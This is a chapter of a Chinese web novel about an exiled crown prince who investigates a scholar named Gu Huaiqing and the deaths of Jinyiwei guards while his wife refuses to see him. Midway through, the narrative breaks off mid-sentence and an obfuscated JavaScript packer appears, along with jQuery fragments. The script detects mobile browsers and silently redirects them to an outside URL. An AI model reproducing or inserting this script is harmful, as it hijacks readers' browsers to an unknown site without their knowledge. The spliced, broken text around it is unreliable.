38. 第 38 章

作品:《为病弱太子冲喜后

    景昭辰听到这个名字,宛如惊弓之鸟。


    顾淮清。


    出身沧州顾氏大族,二甲第三名,若师兄查到的消息准确,这个顾淮清没有被涂去名氏的话,极有可能留在京中任职。


    他身为太子时曾在文史馆翻阅各大家族的族谱,这是他必须掌握的东西,沧州顾氏,他的确有印象。


    顾氏一族很低调,百年前曾出过两任帝师、一任宰辅,后来卷入一场宫变,幸有丹书铁券保命,才得以从那场血海中保全一族。


    此后全族迁往沧州,因祖上曾经有过辉煌功绩,顾氏族人在沧州分为两支,一支开办书院,一支经办商贸,甚少再牵涉朝堂纷争。


    锦衣卫呈上来的密报中也是这般情形,顾氏一族很低调,低调到极其安分守己。


    朝堂,要的便是各大家族学会安分守己。


    所以他并未注意到顾氏一族中是否有一位名叫淮清的后嗣。


    景昭辰想起药庐里蓝大夫曾经说过,那个孩子年纪轻轻便肩负着一个大家族,难道,与甄棠少时互相爱慕的淮清,便是这个沧州大族的顾淮清?


    他突然笑了一声。


    命,真是一个虚无缥缈,却又无法抗拒的东西。


    元洛没有发现他的异常,自顾自地说道:“殿试前师兄曾见过他一面,出身大族果真不同凡响,清逸出尘、光风霁月、芝兰玉树、儒雅倜傥,啧啧啧……怪不得京中那些小娘子见到他便念念不忘,连师兄我……”


    他口中不停地蹦出四字修饰,景昭辰只觉得气血上涌,心口隐隐发痛。


    “他可有娶妻?”


    景昭辰下意识询问,刚问出口,他便意识道自己有些荒唐。


    一个今科受冤的举子,他不关心此人文章才学如何,不关心眼下案子进程,不关心朝中如何安抚顾氏一族,反倒首先关心这人有没有娶妻。


    景昭辰有些心虚,拿起案几上的茶盏缓缓抿着,心中的疑影却越来越深。


    元洛被他问得一愣,皱着眉头想了想:“你是想知晓他背后有无妻族支撑?也是,即便出身沧州顾家,要对抗姚贵妃的母族,恐怕也有些吃力,若有本族与妻族同时助力,这个案子或许会更有胜算。”


    景昭辰喝着茶水,抬眼看向元洛,似是在等他说出自己最关注的问题。


    “你也知晓,师兄如今赋闲在家,人脉消息略有迟滞,而且这个案子又牵涉到姚贵妃在朝中的势力,他们互相包庇,师兄能打探的消息并不多。”


    “所以,他有没有妻室?”景昭辰喝茶的动作停顿下来。


    “奇怪,你为何如此好奇他是否娶妻?”元洛也端起茶盏,狐疑地看着他。


    元洛与景昭辰师出同门,即使平日里有些吊儿郎当,但毕竟学过洞察人心的权术,一个人,若只问一次某个问题,或许是有所好奇,但若是反复询问,其中绝对藏着某些想法。


    “咳……按方才师兄所说,此人出身大族,或许家族为了利益早早为他订下姻亲,或者娶了妻室,文史馆中陈列的各大家族不都是如此。”景昭辰垂眸抿茶,一不留神呛了一下。


    “可是这桩案子闹到如今,并未传出任何此人有妻室的消息,或许,他肩负顾氏一族的重担,不在科举闯出名声便不娶妻呢?”


    景昭辰缓缓放下茶盏,好似心脏上悬着一把刀,随时都能给他来一刀。


    “对了,你还记得先前你在诏狱亲审的那名刺客吗,师兄在传给你的密信中提到过,你启程南下没几日,他便被人深夜从诏狱提走了。”


    “找到了活人,还是尸体?”


    景昭辰记得这封密信,那是他经历河边刺杀的第二日,暗卫将信传来时,甄棠正因高热在车中昏睡,他飞速看完便烧掉了。


    他赌对了,他在京城一日,那名刺客便不会露出任何破绽,只有他离开,背后的人才有可能开始行动。


    “尸体。”


    元洛顿了顿:“但不仅仅是他自己的尸体。”


    意料之中。


    深夜从诏狱之中提人,那说明这人已经上了黄泉路,只有死得痛不痛快。


    “其他的尸体呢?是这个刺客的同伙?我记得章卫回禀时说,这些刺客均是羯人,宫中有他们的内应。”景昭辰眸中淬冰。


    “尸体中有几个羯人,其余的……”


    元洛停了下来,看着对面那人,良久,似是终于下定决心:“均是锦衣卫。”


    景昭辰瞬间绷紧:“你确信自己没有看错?”


    “我就算再闲,锦衣卫的服制总该认得吧。其实本来寻不到的,锦衣卫的手段怎会让我们轻易追踪,是他们莫名其妙全死在荒山中,前段时日雨水充沛,加上气温回暖,野兽将尚未完全腐烂的尸体拖了下来,我的人发现蹊跷,这才得到消息。”


    元洛压低了声音:“全部死在荒山中,很明显,这是同归于尽,那些锦衣卫一定藏着不可见人的秘密。”


    究竟会是什么秘密?


    “对了,京中接到你薨逝的消息,圣上便立即派蒋越带着锦衣卫南下,如今是什么情形?他也一并返京了?”


    “被我射杀了。”景昭辰淡淡道。


    “噗!”


    元洛一口茶水喷.出:“他……他可是锦衣卫指挥使,你竟然将他射杀?!”


    “手伸得太长,就该死。”


    “师兄打探到的消息就这么多,都尽数告知你了,你南下前托付我的东西也还你,师兄不能再听下去了,师兄怕听到什么会被砍头的消息。”


    元洛敛起袖子和衣摆,一边穿棉踏一边对景昭辰嘟囔:“趁眼下深夜寂静,长街无人,你快些命人将我送回去,我还想留着小命多清闲一段时日。”


    景昭辰没有留他,命暗卫把他平安送回家,自己在藏书楼中静静坐了许久,久到周总管生怕他出什么问题,推门进来,试探性地看向景昭辰。


    他向老总管示意自己无妨,待门扉重新关上,景昭辰又默然了一刻钟,拿起元洛交回来的两个信封,抬步往檀木书架后方的楼梯走去。


    婚仪那晚,他居高临下,看着甄棠踩着这些楼梯,一步一步,小心翼翼地走到藏书楼顶。


    她的婚服红得似火,长长的裙摆铺满整个台阶,那时她刚经历寝殿走水,又中了迷香,雪白的小臂上留下簪子刺破的伤口。


    后来她随自己进了顶楼的密室,他亲手将三份“新婚贺礼”送到她面前,想要送她离开。


    景昭辰打开机关,再度走进这间密室坐在小榻上,回想那晚甄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034887|160181||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    棠看到贺礼的神情,一瞬间,恍如隔世。


    他拆开信封,看到户帖内甄棠的名字同自己的名字紧紧挨在一起,指尖轻轻抚过,想要触碰,又害怕触碰。


    须臾后,他打开书架的机关,将户帖锁了进去。


    案几上放着几张陈旧的信封,其中一封已经拆开,信封上的漆印原本已经看不太清,眼下映着密室中的灯光却逐渐明显——


    沧州。


    景昭辰的心中浮现出那个名字。


    ……


    自回府后已经过了五日,甄棠没有任何过来藏书楼的迹象,甚至连云汀日暖都极少出。


    景昭辰知晓她在生气,他想起师兄“男人不能端着脸面”的那番话,终于有一日,他命人去长街买了渝州特产的糕点,提着食盒,鼓起勇气准备去寻甄棠。


    却在月门前被宋嬷嬷拦住了。


    宋嬷嬷叹了一口气:“殿下,王妃吩咐说,她想见的人和东西还未到,暂时不想见您。”


    景昭辰从未被人这么挡过,一手提着食盒,呆愣在原地许久,点了点头,让宋嬷嬷好生照看甄棠便转身准备回藏书楼。


    邵真只觉得这场景太不可思议了,忙小跑跟上去,用唯一能动的右手想要从殿下手中接过食盒,却被殿下拒绝。


    小厨房里,青玄正挥着扇子同冯泽一起煎药,听到邵真讲方才的情形,二人均同时盯着他。


    “这么看我作甚?你们俩不觉得稀奇吗?你们俩见过殿下主动给谁送过东西吗?”邵真捏了个红枣扔嘴里。


    “没见过,但我只知晓一件事。”冯泽将草药收进盒子中。


    “何事?”


    “殿下早晚会毒哑你。”青玄肯定地点头。


    宋嬷嬷送走殿下,一路叹着气回到了云汀日暖的书房,那抹海棠色的身影正坐在书桌后提笔写字,听到脚步声,没有抬眸,只淡声道:“若殿下明日还来,同样回绝。”


    “恕老奴多句嘴,老奴不知晓您和殿下之间究竟发生了什么,可若是您无法与殿下和离,时光漫长,您不能这么干耗着自己啊。”宋嬷嬷眼见花一般的面庞日日消瘦,难免心痛。


    甄棠闻言,停下了正在写字的紫毫。


    宋嬷嬷说得好像也不错,她一时半会离不开这座笼子,总要给自己找点事做来消磨时光。


    她转头看向窗外盛放的莲池,想了想,道:“妾身记得,北苑库房中有一棵凤凰树,树上还扎着一架秋千,对不对?”


    “对对,那是殿下少时扎的,王妃若是喜欢,老奴去回禀殿下,或许可以移到云汀日暖来。”宋嬷嬷甚是高兴,有喜欢的东西,便说明还有期盼。


    甄棠静静地看了一会:“那便移过来吧。”


    当日傍晚便开始动工,不出两日,整棵巨大的凤凰花树和秋千便移栽完毕,云汀日暖从未有过如此鲜活的景象。


    秋千移过去的第三日清晨,景昭辰在藏书楼中接到宋嬷嬷的回禀:“殿下,王妃执意出府,老奴…老奴也拦不住。”


    景昭辰烧掉密信,似乎早有准备:“让青玄跟着。”


    宋嬷嬷应声退下,景昭辰默然良久,暗哑着嗓音对邵真道:


    “命人暗中跟上,切记,不要让那个顾淮清撞见王妃。”